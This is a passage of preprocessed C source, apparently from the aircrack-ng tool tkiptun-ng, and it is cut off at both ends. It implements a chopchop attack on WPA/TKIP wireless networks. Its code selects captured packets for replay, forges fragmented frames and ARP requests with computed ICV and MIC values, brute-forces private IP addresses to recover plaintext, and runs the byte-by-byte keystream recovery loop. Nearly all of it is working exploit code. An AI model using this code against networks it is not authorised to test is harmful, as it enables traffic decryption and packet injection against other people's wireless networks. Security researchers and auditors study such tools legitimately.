h80211, *caplen ); > *caplen -= n; > memcpy( h80211, tmpbuf + n, *caplen ); > } > > if( dev.pfh_in.linktype == 127 ) > { > > > n = *(unsigned short *)( h80211 + 2 ); > > if( n <= 0 || n >= (int) *caplen ) > continue; > > memcpy( tmpbuf, h80211, *caplen ); > *caplen -= n; > memcpy( h80211, tmpbuf + n, *caplen ); > } > > if( dev.pfh_in.linktype == 192 ) > { > > > n = (*(unsigned short *)( h80211 + 2)); > > if( n <= 0 || n>= (int) *caplen ) > continue; > > > if ( n == 24 && (*(unsigned short *)(h80211 + 8)) == 2 ) > n = 32; > > if( n <= 0 || n>= (int) *caplen ) > continue; > > memcpy( tmpbuf, h80211, *caplen ); > *caplen -= n; > memcpy( h80211, tmpbuf + n, *caplen ); > } > } > > nb_pkt_read++; > > if( filter_packet( h80211, *caplen ) != 0 ) > continue; > > if(opt.fast) > break; > > z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; > if ( ( h80211[0] & 0x80 ) == 0x80 ) > z+=2; > > switch( h80211[1] & 3 ) > { > case 0: mi_b = 16; mi_s = 10; mi_d = 4; is_wds = 0; break; > case 1: mi_b = 4; mi_s = 10; mi_d = 16; is_wds = 0; break; > case 2: mi_b = 10; mi_s = 16; mi_d = 4; is_wds = 0; break; > case 3: mi_t = 10; mi_r = 4; mi_d = 16; mi_s = 24; is_wds = 1; break; > } > > printf( "\n\n Size: %d, FromDS: %d, ToDS: %d", > *caplen, ( h80211[1] & 2 ) >> 1, ( h80211[1] & 1 ) ); > > if( ( h80211[0] & 0x0C ) == 8 && ( h80211[1] & 0x40 ) != 0 ) > { > > > key_index_offset = z+3; > > if( ( h80211[key_index_offset] & 0x20 ) == 0 ) > printf( " (WEP)" ); > else > printf( " (WPA)" ); > } > > printf( "\n\n" ); > > if (is_wds) { > printf( " Transmitter = %02X:%02X:%02X:%02X:%02X:%02X\n", > h80211[mi_t ], h80211[mi_t + 1], > h80211[mi_t + 2], h80211[mi_t + 3], > h80211[mi_t + 4], h80211[mi_t + 5] ); > > printf( " Receiver = %02X:%02X:%02X:%02X:%02X:%02X\n", > h80211[mi_r ], h80211[mi_r + 1], > h80211[mi_r + 2], h80211[mi_r + 3], > h80211[mi_r + 4], h80211[mi_r + 5] ); > } else { > printf( " BSSID = %02X:%02X:%02X:%02X:%02X:%02X\n", > h80211[mi_b ], h80211[mi_b + 1], > h80211[mi_b + 2], h80211[mi_b + 3], > h80211[mi_b + 4], h80211[mi_b + 5] ); > } > > printf( " Dest. MAC = %02X:%02X:%02X:%02X:%02X:%02X\n", > h80211[mi_d ], h80211[mi_d + 1], > h80211[mi_d + 2], h80211[mi_d + 3], > h80211[mi_d + 4], h80211[mi_d + 5] ); > > printf( " Source MAC = %02X:%02X:%02X:%02X:%02X:%02X\n", > h80211[mi_s ], h80211[mi_s + 1], > h80211[mi_s + 2], h80211[mi_s + 3], > h80211[mi_s + 4], h80211[mi_s + 5] ); > > > > for( i = 0; i < *caplen; i++ ) > { > if( ( i & 15 ) == 0 ) > { > if( i == 224 ) > { > printf( "\n --- CUT ---" ); > break; > } > > printf( "\n 0x%04x: ", i ); > } > > printf( "%02x", h80211[i] ); > > if( ( i & 1 ) != 0 ) > printf( " " ); > > if( i == *caplen - 1 && ( ( i + 1 ) & 15 ) != 0 ) > { > for( j = ( ( i + 1 ) & 15 ); j < 16; j++ ) > { > printf( " " ); > if( ( j & 1 ) != 0 ) > printf( " " ); > } > > printf( " " ); > > for( j = 16 - ( ( i + 1 ) & 15 ); j < 16; j++ ) > printf( "%c", ( h80211[i - 15 + j] < 32 || > h80211[i - 15 + j] > 126 ) > ? '.' : h80211[i - 15 + j] ); > } > > if( i > 0 && ( ( i + 1 ) & 15 ) == 0 ) > { > printf( " " ); > > for( j = 0; j < 16; j++ ) > printf( "%c", ( h80211[i - 15 + j] < 32 || > h80211[i - 15 + j] > 127 ) > ? '.' : h80211[i - 15 + j] ); > } > } > > printf( "\n\nUse this packet ? " ); > fflush( stdout ); > ret=0; > while(!ret) ret = scanf( "%s", tmpbuf ); > printf( "\n" ); > > if( tmpbuf[0] == 'y' || tmpbuf[0] == 'Y' ) > break; > } > > if(!just_grab) > { > pfh_out.magic = 0xA1B2C3D4; > pfh_out.version_major = 2; > pfh_out.version_minor = 4; > pfh_out.thiszone = 0; > pfh_out.sigfigs = 0; > pfh_out.snaplen = 65535; > pfh_out.linktype = 105; > > lt = localtime( (const time_t *) &tv.tv_sec ); > > memset( strbuf, 0, sizeof( strbuf ) ); > snprintf( strbuf, sizeof( strbuf ) - 1, > "replay_src-%02d%02d-%02d%02d%02d.cap", > lt->tm_mon + 1, lt->tm_mday, > lt->tm_hour, lt->tm_min, lt->tm_sec ); > > printf( "Saving chosen packet in %s\n", strbuf ); > > if( ( f_cap_out = fopen( strbuf, "wb+" ) ) == ((void *)0) ) > { > perror( "fopen failed" ); > return( 1 ); > } > > n = sizeof( struct pcap_file_header ); > > if( fwrite( &pfh_out, n, 1, f_cap_out ) != 1 ) > { > perror( "fwrite failed\n" ); > return( 1 ); > } > > pkh.tv_sec = tv.tv_sec; > pkh.tv_usec = tv.tv_usec; > pkh.caplen = *caplen; > pkh.len = *caplen; > > n = sizeof( pkh ); > > if( fwrite( &pkh, n, 1, f_cap_out ) != 1 ) > { > perror( "fwrite failed" ); > return( 1 ); > } > > n = pkh.caplen; > > if( fwrite( h80211, n, 1, f_cap_out ) != 1 ) > { > perror( "fwrite failed" ); > return( 1 ); > } > > fclose( f_cap_out ); > } > > return( 0 ); >} > >int read_prga(unsigned char **dest, char *file) >{ > FILE *f; > int size; > > if(file == ((void *)0)) return( 1 ); > if(*dest == ((void *)0)) *dest = (unsigned char*) malloc(1501); > > f = fopen(file, "r"); > > if(f == ((void *)0)) > { > printf("Error opening %s\n", file); > return( 1 ); > } > > fseek(f, 0, 2); > size = ftell(f); > rewind(f); > > if(size > 1500) size = 1500; > > if( fread( (*dest), size, 1, f ) != 1 ) > { > fprintf( stderr, "fread failed\n" ); > return( 1 ); > } > > opt.prgalen = size; > > fclose(f); > return( 0 ); >} > >void add_icv(unsigned char *input, int len, int offset) >{ > unsigned long crc = 0xFFFFFFFF; > int n=0; > > for( n = offset; n < len; n++ ) > crc = crc_tbl[(crc ^ input[n]) & 0xFF] ^ (crc >> 8); > > crc = ~crc; > > input[len] = (crc ) & 0xFF; > input[len+1] = (crc >> 8) & 0xFF; > input[len+2] = (crc >> 16) & 0xFF; > input[len+3] = (crc >> 24) & 0xFF; > > return; >} > >void send_fragments(unsigned char *packet, int packet_len, unsigned char *iv, unsigned char *keystream, int fragsize, int ska) >{ > int t, u; > int data_size; > unsigned char frag[32+fragsize]; > int pack_size; > int header_size=24; > > data_size = packet_len-header_size; > packet[23] = (rand() % 0xFF); > > for (t=0; t+=fragsize;) > { > > > memcpy(frag, packet, header_size); > > > memcpy(frag+header_size, iv, 4); > > > if(fragsize <= packet_len-(header_size+t-fragsize)) > memcpy(frag+header_size+4, packet+header_size+t-fragsize, fragsize); > else > memcpy(frag+header_size+4, packet+header_size+t-fragsize, packet_len-(header_size+t-fragsize)); > > > if(!ska) > { > frag[1] |= 1; > frag[1] &= 253; > } > > > if (t< data_size) frag[1] |= 4; > if (t>=data_size) frag[1] &= 251; > > > frag[22] = 0; > for (u=t; u-=fragsize;) > { > frag[22] += 1; > } > > > > if(fragsize <= packet_len-(header_size+t-fragsize)) > pack_size = header_size + 4 + fragsize; > else > pack_size = header_size + 4 + (packet_len-(header_size+t-fragsize)); > > > add_icv(frag, pack_size, header_size + 4); > pack_size += 4; > > > xor_keystream(frag + header_size + 4, keystream, fragsize+4); > > > send_packet(frag, pack_size); > if (t<data_size)usleep(100); > > if (t>=data_size) break; > } > >} > >int set_clear_arp(unsigned char *buf, unsigned char *smac, unsigned char *dmac) >{ > if(buf == ((void *)0)) > return -1; > > memcpy(buf, ("\xAA\xAA\x03\x00\x00\x00" "\x08\x06"), 8); > buf[8] = 0x00; > buf[9] = 0x01; > buf[10] = 0x08; > buf[11] = 0x00; > buf[12] = 0x06; > buf[13] = 0x04; > buf[14] = 0x00; > if(memcmp(dmac, (unsigned char*)"\xFF\xFF\xFF\xFF\xFF\xFF", 6) == 0) > buf[15] = 0x01; > else > buf[15] = 0x02; > memcpy(buf+16, smac, 6); > > return 0; >} > >int build_arp_request(unsigned char* packet, int *length, int toDS) >{ > int i; > unsigned char buf[128]; > > packet[0] = 0x88; > if(toDS) packet[1] = 0x41; > else packet[1] = 0x42; > packet[2] = 0x2c; > packet[3] = 0x00; > if(toDS) > { > memcpy(packet+4, opt.f_bssid, 6); > memcpy(packet+10, opt.r_smac, 6); > memcpy(packet+16, opt.r_apmac, 6); > } > else > { > memcpy(packet+4, opt.r_smac, 6); > memcpy(packet+10, opt.f_bssid, 6); > memcpy(packet+16, opt.r_apmac, 6); > } > > packet[22] = 0xD0; > packet[23] = 0xB4; > if(toDS) > packet[24] = 0x01; > else > packet[24] = 0x02; > packet[25] = 0x00; > > if(toDS) > set_clear_arp(packet+26, opt.r_smac, (unsigned char*)"\xFF\xFF\xFF\xFF\xFF\xFF"); > else > set_clear_arp(packet+26, opt.r_apmac, (unsigned char*)"\xFF\xFF\xFF\xFF\xFF\xFF"); > > if(toDS) > memcpy(packet+26+22, opt.ip_cli, 4); > else > memcpy(packet+26+22, opt.ip_ap, 4); > > if(toDS) > memcpy(packet+26+26, (unsigned char*)"\xFF\xFF\xFF\xFF\xFF\xFF", 6); > else > memcpy(packet+26+26, (unsigned char*)"\xFF\xFF\xFF\xFF\xFF\xFF", 6); > > if(toDS) > memcpy(packet+26+32, opt.ip_ap, 4); > else > memcpy(packet+26+32, opt.ip_cli, 4); > > *length = 26+36; > > calc_tkip_mic(packet, *length, opt.ptk, packet+(*length)); > > *length += 8; > > memcpy(buf, packet+26, (*length) - 26); > memcpy(packet+26+8, buf, (*length) - 26); > > if(toDS) > memcpy(packet+26, opt.chopped_to_prga, 8); > else > memcpy(packet+26, opt.chopped_from_prga, 8); > > (*length)+=8; > > add_icv(packet, *length, 26+8); > > (*length) += 4; > > if(toDS) > { > if(opt.chopped_to_prga_len-8 < *length - 26-8) > return 1; > > for(i=0; i<*length-26-8; i++) > packet[26+8+i] ^= opt.chopped_to_prga[8+i]; > } > else > { > if(opt.chopped_from_prga_len-8 < *length - 26-8) > return 1; > > for(i=0; i<*length-26-8; i++) > packet[26+8+i] ^= opt.chopped_from_prga[8+i]; > } > return 0; >} > >int set_clear_ip(unsigned char *buf, int ip_len) >{ > if(buf == ((void *)0)) > return -1; > > memcpy(buf, ("\xAA\xAA\x03\x00\x00\x00" "\x08\x00"), 8); > buf[8] = 0x45; > buf[10] = (ip_len >> 8) & 0xFF; > buf[11] = ip_len & 0xFF; > > return 0; >} > >void dump_packet(unsigned char* packet, int len) >{ > int i=0; > > for(i=0; i<len; i++) > { > if(i>0 && i%4 == 0)printf(" "); > if(i>0 && i%16 == 0)printf("\n"); > printf("%02X ", packet[i]); > } > printf("\n\n"); >} > >int check_guess(unsigned char *srcbuf, unsigned char *chopped, int caplen, int clearlen, unsigned char *arp, unsigned char *dmac) >{ > int i, j, z, pos; > > z = ( ( srcbuf[1] & 3 ) != 3 ) ? 24 : 30; > if ( ( srcbuf[0] & 0x80 ) == 0x80 ) > z+=2; > > > > > > > > pos = caplen-z-8-clearlen; > for(i=0; i<clearlen; i++) > { > arp[pos+i] = srcbuf[z+8+pos+i] ^ chopped[z+8+pos+i]; > } > for(j=1; j<3; j++) > { > arp[15] = j; > > memcpy(arp+26, ZERO, 6); > if (check_crc_buf( arp, caplen-z-8-4) == 1) > { > for(i=0; i<pos; i++) > { > chopped[z+8+i] = srcbuf[z+8+i] ^ arp[i]; > } > return 1; > } > > memcpy(arp+26, (unsigned char*)"\xFF\xFF\xFF\xFF\xFF\xFF", 6); > if (check_crc_buf( arp, caplen-z-8-4) == 1) > { > for(i=0; i<pos; i++) > { > chopped[z+8+i] = srcbuf[z+8+i] ^ arp[i]; > } > return 1; > } > > memcpy(arp+26, dmac, 6); > if (check_crc_buf( arp, caplen-z-8-4) == 1) > { > for(i=0; i<pos; i++) > { > chopped[z+8+i] = srcbuf[z+8+i] ^ arp[i]; > } > return 1; > } > } > return 0; >} > >int guess_packet(unsigned char *srcbuf, unsigned char *chopped, int caplen, int clearlen) >{ > int i,j,k,l,z, len; > unsigned char smac[6], dmac[6], bssid[6]; > > unsigned char *ptr, *psmac, *psip, *pdmac, *pdip; > unsigned char arp[4096]; > > z = ( ( srcbuf[1] & 3 ) != 3 ) ? 24 : 30; > if ( ( srcbuf[0] & 0x80 ) == 0x80 ) > z+=2; > > if(caplen-z-8 - clearlen > 36) > return 1; > > printf("%i bytes still unknown\n", caplen-z-8 - clearlen); > > switch( srcbuf[1] & 3 ) > { > case 0: > memcpy( bssid, srcbuf + 16, 6 ); > memcpy( dmac, srcbuf + 4, 6 ); > memcpy( smac, srcbuf + 10, 6 ); > break; > case 1: > memcpy( bssid, srcbuf + 4, 6 ); > memcpy( dmac, srcbuf + 16, 6 ); > memcpy( smac, srcbuf + 10, 6 ); > break; > case 2: > memcpy( bssid, srcbuf + 10, 6 ); > memcpy( dmac, srcbuf + 4, 6 ); > memcpy( smac, srcbuf + 16, 6 ); > break; > default: > memcpy( bssid, srcbuf + 10, 6 ); > memcpy( dmac, srcbuf + 16, 6 ); > memcpy( smac, srcbuf + 24, 6 ); > break; > } > > ptr = arp; > psmac = arp+16; > pdmac = arp+26; > psip = arp+22; > pdip = arp+32; > > len = sizeof(("\xAA\xAA\x03\x00\x00\x00" "\x08\x06")) - 1; > memcpy(ptr, ("\xAA\xAA\x03\x00\x00\x00" "\x08\x06"), len); > ptr += len; > > > len = 6; > memcpy(ptr, "\x00\x01\x08\x00\x06\x04", len); > ptr += len; > > > len = 2; > if (memcmp(dmac, "\xff\xff\xff\xff\xff\xff", 6) == 0) > memcpy(ptr, "\x00\x01", len); > else > memcpy(ptr, "\x00\x02", len); > ptr += len; > > > len = 6; > memcpy(ptr, smac, len); > ptr += len; > > > if (memcmp(dmac, "\xff\xff\xff\xff\xff\xff", 6) != 0) > { > printf("ARP Reply\n"); > memcpy(pdmac, dmac, 6); > } > else > { > printf("ARP Request\n"); > memcpy(pdmac, ZERO, 6); > } > > if(caplen-z-8 - clearlen == 36) > { > printf("Checking 192.168.x.y\n"); > > for(i=0; i<256; i++) > { > for(j=1; j<255; j++) > { > for(k=1; k<255; k++) > { > psip[0] = 192; > psip[1] = 168; > psip[2] = i; > psip[3] = j; > > pdip[0] = 192; > pdip[1] = 168; > pdip[2] = i; > pdip[3] = k; > > if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) > return 0; > } > } > } > > printf("Checking 10.0.y.z\n"); > > for(j=0; j<256; j++) > { > for(k=1; k<255; k++) > { > for(l=1; l<255; l++) > { > psip[0] = 10; > psip[1] = 0; > psip[2] = j; > psip[3] = k; > > pdip[0] = 10; > pdip[1] = 0; > pdip[2] = j; > pdip[3] = l; > > if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) > return 0; > } > } > } > > printf("Checking 172.16.y.z\n"); > > for(j=1; j<255; j++) > { > for(k=1; k<255; k++) > { > for(l=1; l<255; l++) > { > psip[0] = 172; > psip[1] = 16; > psip[2] = j; > psip[3] = k; > > pdip[0] = 172; > pdip[1] = 16; > pdip[2] = j; > pdip[3] = l; > > if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) > return 0; > } > } > } > } > > if(caplen-z-8 - clearlen == 35) > { > printf("Checking 192.168.x.y\n"); > > for(i=0; i<256; i++) > { > for(j=1; j<255; j++) > { > psip[0] = 192; > psip[1] = 168; > psip[2] = i; > psip[3] = j; > > pdip[0] = 192; > pdip[1] = 168; > pdip[2] = i; > > if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) > return 0; > } > } > > printf("Checking 10.0.y.z\n"); > > for(i=0; i<256; i++) > { > for(j=0; j<256; j++) > { > for(k=1; k<255; k++) > { > psip[0] = 10; > psip[1] = i; > psip[2] = j; > psip[3] = k; > > pdip[0] = 10; > pdip[1] = i; > pdip[2] = j; > > if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) > return 0; > } > } > } > > printf("Checking 172.16-31.y.z\n"); > > for(i=16; i<32; i++) > { > for(j=0; j<256; j++) > { > for(k=1; k<255; k++) > { > psip[0] = 172; > psip[1] = i; > psip[2] = j; > psip[3] = k; > > pdip[0] = 172; > pdip[1] = i; > pdip[2] = j; > > if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) > return 0; > } > } > } > } > > if(caplen-z-8 - clearlen == 34) > { > printf("Checking 192.168.x.y\n"); > > for(i=0; i<256; i++) > { > for(j=1; j<255; j++) > { > psip[0] = 192; > psip[1] = 168; > psip[2] = i; > psip[3] = j; > > pdip[0] = 192; > pdip[1] = 168; > > if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) > return 0; > } > } > > printf("Checking 10.x.y.z\n"); > > for(i=0; i<256; i++) > { > for(j=0; j<256; j++) > { > for(k=1; k<255; k++) > { > psip[0] = 10; > psip[1] = i; > psip[2] = j; > psip[3] = k; > > pdip[0] = 10; > pdip[1] = i; > > if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) > return 0; > } > } > } > > printf("Checking 172.16-31.y.z\n"); > > for(i=16; i<32; i++) > { > for(j=0; j<256; j++) > { > for(k=1; k<255; k++) > { > psip[0] = 172; > psip[1] = i; > psip[2] = j; > psip[3] = k; > > pdip[0] = 172; > pdip[1] = i; > > if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) > return 0; > } > } > } > } > > if(caplen-z-8 - clearlen <= 33 && caplen-z-8 - clearlen >= 26) > { > printf("Checking 192.168.x.y\n"); > > if( (srcbuf[z+8+33]^chopped[z+8+33]) == 168) > { > for(i=0; i<256; i++) > { > for(j=1; j<255; j++) > { > psip[0] = 192; > psip[1] = 168; > psip[2] = i; > psip[3] = j; > > pdip[0] = 192; > > if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) > return 0; > } > } > } > > if( (srcbuf[z+8+33]^chopped[z+8+33]) >= 16 && (srcbuf[z+8+33]^chopped[z+8+33]) < 32) > { > printf("Checking 172.16-31.y.z\n"); > > for(i=16; i<32; i++) > { > for(j=0; j<256; j++) > { > for(k=1; k<255; k++) > { > psip[0] = 172; > psip[1] = i; > psip[2] = j; > psip[3] = k; > > pdip[0] = 172; > > if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) > return 0; > } > } > } > } > > printf("Checking 10.x.y.z\n"); > > for(i=0; i<256; i++) > { > for(j=0; j<256; j++) > { > for(k=1; k<255; k++) > { > psip[0] = 10; > psip[1] = i; > psip[2] = j; > psip[3] = k; > > pdip[0] = 10; > > if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) > return 0; > } > } > } > } > > if(caplen-z-8 - clearlen == 25) > { > printf("Checking 192.168.x.y\n"); > > if( (srcbuf[z+8+32]^chopped[z+8+32]) == 192 && (srcbuf[z+8+33]^chopped[z+8+33]) == 168) > { > for(i=0; i<256; i++) > { > psip[0] = 192; > psip[1] = 168; > psip[2] = i; > > if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) > return 0; > } > } > > if( (srcbuf[z+8+32]^chopped[z+8+32]) == 172 && (srcbuf[z+8+33]^chopped[z+8+33]) >= 16 && (srcbuf[z+8+33]^chopped[z+8+33]) < 32) > { > printf("Checking 172.16-31.y.z\n"); > > for(i=16; i<32; i++) > { > for(j=0; j<256; j++) > { > psip[0] = 172; > psip[1] = i; > psip[2] = j; > > if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) > return 0; > } > } > } > > printf("Checking 10.x.y.z\n"); > > for(i=0; i<256; i++) > { > for(j=0; j<256; j++) > { > psip[0] = 10; > psip[1] = i; > psip[2] = j; > > if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) > return 0; > } > } > } > > if(caplen-z-8 - clearlen == 24) > { > printf("Checking 192.168.x.y\n"); > > if( (srcbuf[z+8+32]^chopped[z+8+32]) == 192 && (srcbuf[z+8+33]^chopped[z+8+33]) == 168) > { > psip[0] = 192; > psip[1] = 168; > > if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) > return 0; > } > > if( (srcbuf[z+8+32]^chopped[z+8+32]) == 172 && (srcbuf[z+8+33]^chopped[z+8+33]) >= 16 && (srcbuf[z+8+33]^chopped[z+8+33]) < 32) > { > printf("Checking 172.16-31.y.z\n"); > > for(i=16; i<32; i++) > { > psip[0] = 172; > psip[1] = i; > > if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) > return 0; > } > } > > printf("Checking 10.x.y.z\n"); > > for(i=0; i<256; i++) > { > psip[0] = 10; > psip[1] = i; > > if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) > return 0; > } > } > > if(caplen-z-8 - clearlen <= 23) > { > printf("Checking 192.168.x.y\n"); > > if( (srcbuf[z+8+32]^chopped[z+8+32]) == 192 && (srcbuf[z+8+33]^chopped[z+8+33]) == 168) > { > psip[0] = 192; > > if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) > return 0; > } > > if( (srcbuf[z+8+32]^chopped[z+8+32]) == 172 && (srcbuf[z+8+33]^chopped[z+8+33]) >= 16 && (srcbuf[z+8+33]^chopped[z+8+33]) < 32) > { > printf("Checking 172.16-31.y.z\n"); > > psip[0] = 172; > > if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) > return 0; > } > > printf("Checking 10.x.y.z\n"); > > psip[0] = 10; > > if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) > return 0; > } > > if(caplen-z-8 - clearlen <= 32) > { > for(i=0; i<256; i++) > { > for(j=1; j<255; j++) > { > psip[0] = srcbuf[z+8+32]^chopped[z+8+32]; > psip[1] = srcbuf[z+8+33]^chopped[z+8+33]; > psip[2] = i; > psip[3] = j; > > if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) > return 0; > } > } > } > return 1; >} > >int do_attack_tkipchop( unsigned char* src_packet, int src_packet_len ) >{ > float f, ticks[4]; > int i, j, n, z, caplen, srcz, srclen; > int data_start, data_end, srcdiff, diff; > int guess, is_deauth_mode; > int nb_bad_pkt; > int tried_header_rec=0; > int tries=0; > int keystream_len=0; > int settle=0; > > unsigned char b1 = 0xAA; > unsigned char b2 = 0xAA; > > unsigned char mic[8]; > unsigned char smac[6], dmac[6], bssid[6]; > unsigned char rc4key[16], keystream[4096]; > > FILE *f_cap_out; > long nb_pkt_read; > unsigned long crc_mask; > unsigned char *chopped; > > unsigned char packet[4096]; > > time_t tt; > struct tm *lt; > struct timeval tv; > struct timeval tv2; > struct timeval mic_fail; > struct pcap_file_header pfh_out; > struct pcap_pkthdr pkh; > > srand( time( ((void *)0) ) ); > > memcpy( h80211, src_packet, src_packet_len); > caplen = src_packet_len; > if( (h80211[1] & 3) == 1) > { > h80211[1] += 1; > > memcpy( bssid, srcbuf + 4, 6 ); > memcpy( dmac, srcbuf + 16, 6 ); > memcpy( smac, srcbuf + 10, 6 ); > > memcpy( srcbuf + 10, bssid, 6 ); > memcpy( srcbuf + 4, dmac, 6 ); > memcpy( srcbuf + 16, smac, 6 ); > > } > > > z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; > if ( ( h80211[0] & 0x80 ) == 0x80 ) > z+=2; > srcz = z; > > if( (unsigned)caplen > sizeof(srcbuf) || (unsigned)caplen > sizeof(h80211) ) > return( 1 ); ># 2250 "tkiptun-ng.c" > if ( memcmp( h80211 + 4, (unsigned char*)"\x01\x80\xC2\x00\x00\x00", 6 ) == 0 || > memcmp( h80211 + 16, (unsigned char*)"\x01\x80\xC2\x00\x00\x00", 6 ) == 0 ) > { > b1 = 0x42; b2 = 0x42; > } > > printf( "\n" ); > > > > > > memcpy( srcbuf, h80211, caplen ); > > > if(opt.got_ptk) > { > calc_tkip_ppk( srcbuf, caplen, opt.wpa_sta.ptk+32, rc4key ); > { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("Per Packet Key: "); > for(i=0; i<15; i++) > printf("%02X:", rc4key[i]); > printf("%02X\n", rc4key[15]); > > memset(keystream, 0, 4096); > > keystream_len = caplen - z - 8; > encrypt_wep(keystream, keystream_len, rc4key, 16); > > { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("Keystream length: %i, Keystream:\n", keystream_len); > for(i=0; i<keystream_len-1; i++) > printf("%02X:", keystream[i]); > printf("%02X\n", keystream[keystream_len-1]); > > memcpy(packet, srcbuf, caplen); > { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("Decrypt: %i\n", decrypt_wep(packet+z+8, caplen-z-8, rc4key, 16)); > { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("Keystream 2:\n"); > for(i=0; i<keystream_len-1; i++) > printf("%02X:", packet[z+8+i]^srcbuf[z+8+i]); > printf("%02X\n", packet[z+8+keystream_len-1]^srcbuf[z+8+keystream_len-1]); > > > opt.oldkeystreamlen = keystream_len-37; > for(i=0; i<opt.oldkeystreamlen; i++) > opt.oldkeystream[i] = keystream[keystream_len-1 - i]; > > } > > > > n = caplen; > > switch( srcbuf[1] & 3 ) > { > case 0: > memcpy( bssid, srcbuf + 16, 6 ); > memcpy( dmac, srcbuf + 4, 6 ); > memcpy( smac, srcbuf + 10, 6 ); > break; > case 1: > memcpy( bssid, srcbuf + 4, 6 ); > memcpy( dmac, srcbuf + 16, 6 ); > memcpy( smac, srcbuf + 10, 6 ); > break; > case 2: > memcpy( bssid, srcbuf + 10, 6 ); > memcpy( dmac, srcbuf + 4, 6 ); > memcpy( smac, srcbuf + 16, 6 ); > break; > default: > memcpy( bssid, srcbuf + 10, 6 ); > memcpy( dmac, srcbuf + 16, 6 ); > memcpy( smac, srcbuf + 24, 6 ); > break; > } > > if( ( chopped = (unsigned char *) malloc( n ) ) == ((void *)0) ) > { > perror( "malloc failed" ); > return( 1 ); > } > > memset( chopped, 0, n ); > > memcpy( chopped, h80211, n); > > data_start = 26 + 8; > srclen = data_end = n; > srcdiff = z-24; > > > > > chopped[24] ^= 0x01; > chopped[25] = 0x00; ># 2373 "tkiptun-ng.c" > crc_mask = 0; > > for( i = data_start; i < data_end - 4; i++ ) > { > switch( i - data_start ) > { > case 0: chopped[i] = b1 ^ 0xE0; break; > case 1: chopped[i] = b2 ^ 0xE0; break; > case 2: chopped[i] = 0x03 ^ 0x03; break; > default: chopped[i] = 0x55 ^ ( i & 0xFF ); break; > } > > crc_mask = crc_tbl[crc_mask & 0xFF] > ^ ( crc_mask >> 8 ) > ^ ( chopped[i] << 24 ); > } > > for( i = 0; i < 4; i++ ) > crc_mask = crc_tbl[crc_mask & 0xFF] > ^ ( crc_mask >> 8 ); > > chopped[data_end - 4] = crc_mask; crc_mask >>= 8; > chopped[data_end - 3] = crc_mask; crc_mask >>= 8; > chopped[data_end - 2] = crc_mask; crc_mask >>= 8; > chopped[data_end - 1] = crc_mask; crc_mask >>= 8; > > for( i = data_start; i < data_end; i++ ) > chopped[i] ^= srcbuf[i]; > > > data_start += 6; > > is_deauth_mode = 0; ># 2414 "tkiptun-ng.c" > for(i=0; i<opt.oldkeystreamlen; i++) > { > guess = (opt.oldkeystream[i] ^ chopped[data_end - 1]) % 256; > > n = caplen - data_start; > > chopped[data_end - 1] ^= guess; > chopped[data_end - 2] ^= crc_chop_tbl[guess][3]; > chopped[data_end - 3] ^= crc_chop_tbl[guess][2]; > chopped[data_end - 4] ^= crc_chop_tbl[guess][1]; > chopped[data_end - 5] ^= crc_chop_tbl[guess][0]; > > printf( "\rOffset %4d (%2d%% done) | xor = %02X | pt = %02X\n", data_end - 1, > 100 * ( caplen - data_end ) / n, > chopped[data_end - 1], > chopped[data_end - 1] ^ srcbuf[data_end - 1]); > > data_end--; > } > > > > memset( ticks, 0, sizeof( ticks ) ); > > nb_pkt_read = 0; > nb_pkt_sent = 0; > nb_bad_pkt = 0; > guess = 256; > > tt = time( ((void *)0) ); > > > > > > if(opt.port_in <= 0) > { > if( fcntl( dev.fd_in, 4, 04000 ) < 0 ) > { > perror( "fcntl(O_NONBLOCK) failed" ); > return( 1 ); > } > } > > while( data_end > data_start ) > { > if( alarmed ) > { > printf( "\n\n" >"The chopchop attack appears to have failed. Possible reasons:\n" >"\n" >" * You're trying to inject with an unsupported chipset (Centrino?).\n" >" * The driver source wasn't properly patched for injection support.\n" >" * You are too far from the AP. Get closer or reduce the send rate.\n" >" * Target is 802.11g only but you are using a Prism2 or RTL8180.\n" >" * The wireless interface isn't setup on the correct channel.\n" ); > if( is_deauth_mode ) > printf( >" * The AP isn't vulnerable when operating in non-authenticated mode.\n" >" Run aireplay-ng in authenticated mode instead (-h option).\n\n" ); > else > printf( >" * The client MAC you have specified is not currently authenticated.\n" >" Try running another aireplay-ng to fake authentication (attack \"-1\").\n" >" * The AP isn't vulnerable when operating in authenticated mode.\n" >" Try aireplay-ng in non-authenticated mode instead (no -h option).\n\n" ); > return( 1 ); > } > > > > if( (nb_pkt_sent > 0) && (nb_pkt_sent % 256 == 0) && settle == 0) > { > printf( 